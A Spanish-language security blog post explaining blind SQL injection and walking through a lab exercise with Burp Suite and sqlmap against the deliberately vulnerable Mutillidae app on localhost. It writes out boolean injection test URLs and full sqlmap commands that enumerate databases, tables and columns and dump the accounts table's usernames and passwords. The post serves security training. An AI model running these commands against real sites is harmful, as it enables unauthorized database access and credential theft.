sábado, 15 de diciembre de 2018

Blind SQL Injection - inyección ciega




Caracteristicas de Blind SQLi
  • No se muestran mensajes de error aunque el resultado no sea el esperado al realizar la consulta a la BBDD
  • El tiempo de explotación es alto si se realiza manualmente ya que se deben ir probando inyecciones  carácter a carácter
  • Si la consulta no se ejecuta de forma correcta muestra una página genérica del error

Por lo tanto debemos ir formulando pregunta lógicas para obtener respuestas booleanas, obteniendo así la respuesta de manera acumulativa, por ejemplo:

https://securitybydrunk.blogspot.com/user=1 & 1=1     ==> TRUE
Se carga la página de manera normal con información del usuario

https://securitybydrunk.blogspot.com/user=1 & 1=0     ==> FALSE
No se carga correctamente faltando datos como imágenes o enlaces, etc

Si esto ocurre podemos llegar a la conclusión de que es vulnerable a Blind SQLi

Hay dos tipos de posibilidades a la hora de descubrir las vulnerabilidades:

  • Basándose en el contenido: dependiendo de lo que se muestre al usuario por la wapp
  • Basándose en el tiempo de respuesta: teniendo en cuenta el tiempo, por ejemplo:
    • 3 segundos si es correcta la petición
    • 6 si es incorrecta
Esta forma hace que sea difícil determinar donde esta el origen del fallo (nivel de la wapp, el servidor o de la bbdd) por lo que vamos a automatizar nuestro ataque


PoC Blind SQL  - sqlmap

Vamos a utilizar sqlmap como herramienta de automatización y como web application vulnerable Mutillidae

1. Arrancamos BURPSUITE en su versión Community y nuestro proxy de navegador FoxyProxy

Imagen del proxy de BurpSuite 

2. Accedemos a http://localhost/mutillidae-master/ y vamos a OWASP 2017 > A1 -Injection (SQL) > Blind SQL via Timing > Login por lo que la prueba se basará en el tiempo de respuesta

localhost/mutillidae/

3. En la página de login utilizamos un usuario y password correcto como por ejemplo test/test (lo he creado anteriormente)



4. Una vez logueado el usuario volvemos hacia atrás


5. Vemos la siguiente página y hacemos logout


6. Ahora haremos la prueba de que pasa cuando fallamos la autenticación, introducimos un usuario incorrecto, nos indica que la cuenta no existe



7. Volvemos a BURP y buscamos la petición POST que hemos realizado con el login correcto


!! Copiamos esta parte 



!! Y esta

data


8. Es hora de empezar con sqlmap , abrimos una terminal y pegamos el contenido anterior mas la cookie indicando método  y data

$ sqlmap -u "http://localhost/mutillidae-master/index.php?page=login.php" --method POST --data "username=test&password=test&login-php-submit-button=Login" --cookie="showhints=1; PHPSESSID=1661cc35c56229054f46c2933e726c95"

Al ejecutar nos hace una serie de preguntas relacionadas con la petición POST y con la detección de la bbdd MySQL con lo que ahorraremos tiempo así que contestamos que si a todas 



En la ejecución nos va indicando las vulnerabilidades que encuentra, en este punto nos informa de que el parámetro de  POST username es vulnerable y de si queremos continuar, contestamos que si

Contestamos que si (y)


Esta información ya nos vale para demostrar que la página es vulnerable, esperamos a que termine y ver el resumen.

Decimos que no al resto a que siga intentando hacer las pruebas sobre el resto y vemos el informe.

Para el parámetro username tenemos:



  1. Blind SQLi basado en booleano
  2. SQLi basado en booleano
  3. SQLi basado en tiempo
Para el parámetro password ha encontrado lo mismo, si nos fijamos podemos ver el payload utilizado

En la última linea nos informa de que hay múltiples inyecciones, escogemos la opción 0 y nos muestra las versiones, vemos que es un PHP 7.3.0 y un Apache 2.4.37 con MySQL 5.0







9. Volvemos a lanzar sqlmap con el mismo parámetro pero añadiendo al final --dbs para sacar información sobre la bbdd

sqlmap -u "http://localhost/mutillidae-master/index.php?page=login.php" --method POST --data "username=test&password=test&login-php-submit-button=Login" --cookie="showhints=1;  HPSESSID=1661cc35c56229054f46c2933e726c95" --dbs

Nos vuelve a mostrar toda la información pero esta vez vemos las bbdd que existentes



10. Conocidas las BBDD que existen vamos a lanzar sobre la que nos interesa otra inyección para que nos muestre la información de las tablas, añadimos -D mutillidae --tables

$ sqlmap -u "http://localhost/mutillidae-master/index.php?page=login.php" --method POST --data "username=test&password=test&login-php-submit-button=Login" --cookie="showhints=1;  HPSESSID=1661cc35c56229054f46c2933e726c95" -D mutillidae --tables

En la imagen vemos que nos muestra las tablas



11. Inyectamos para conocer las columnas de la tabla accounts añadimos  -T accounts --column 

$ sqlmap -u "http://localhost/mutillidae-master/index.php?page=login.php" --method POST --data "username=test&password=test&login-php-submit-button=Login" --cookie="showhints=1; PHPSESSID=1661cc35c56229054f46c2933e726c95" -T accounts --column 



12. Tenemos la columnas que nos interesan (username/password) añadimos -C user,password --dump

sqlmap -u "http://localhost/mutillidae-master/index.php?page=login.php" --method POST --data "username=test&password=test&login-php-submit-button=Login" --cookie="showhints=1; PHPSESSID=1661cc35c56229054f46c2933e726c95" -T accounts -C user,password --dump

Aquí tenemos el resultado, podemos ver el usuario test creado anteriormente por mi


   

No hay comentarios:

Publicar un comentario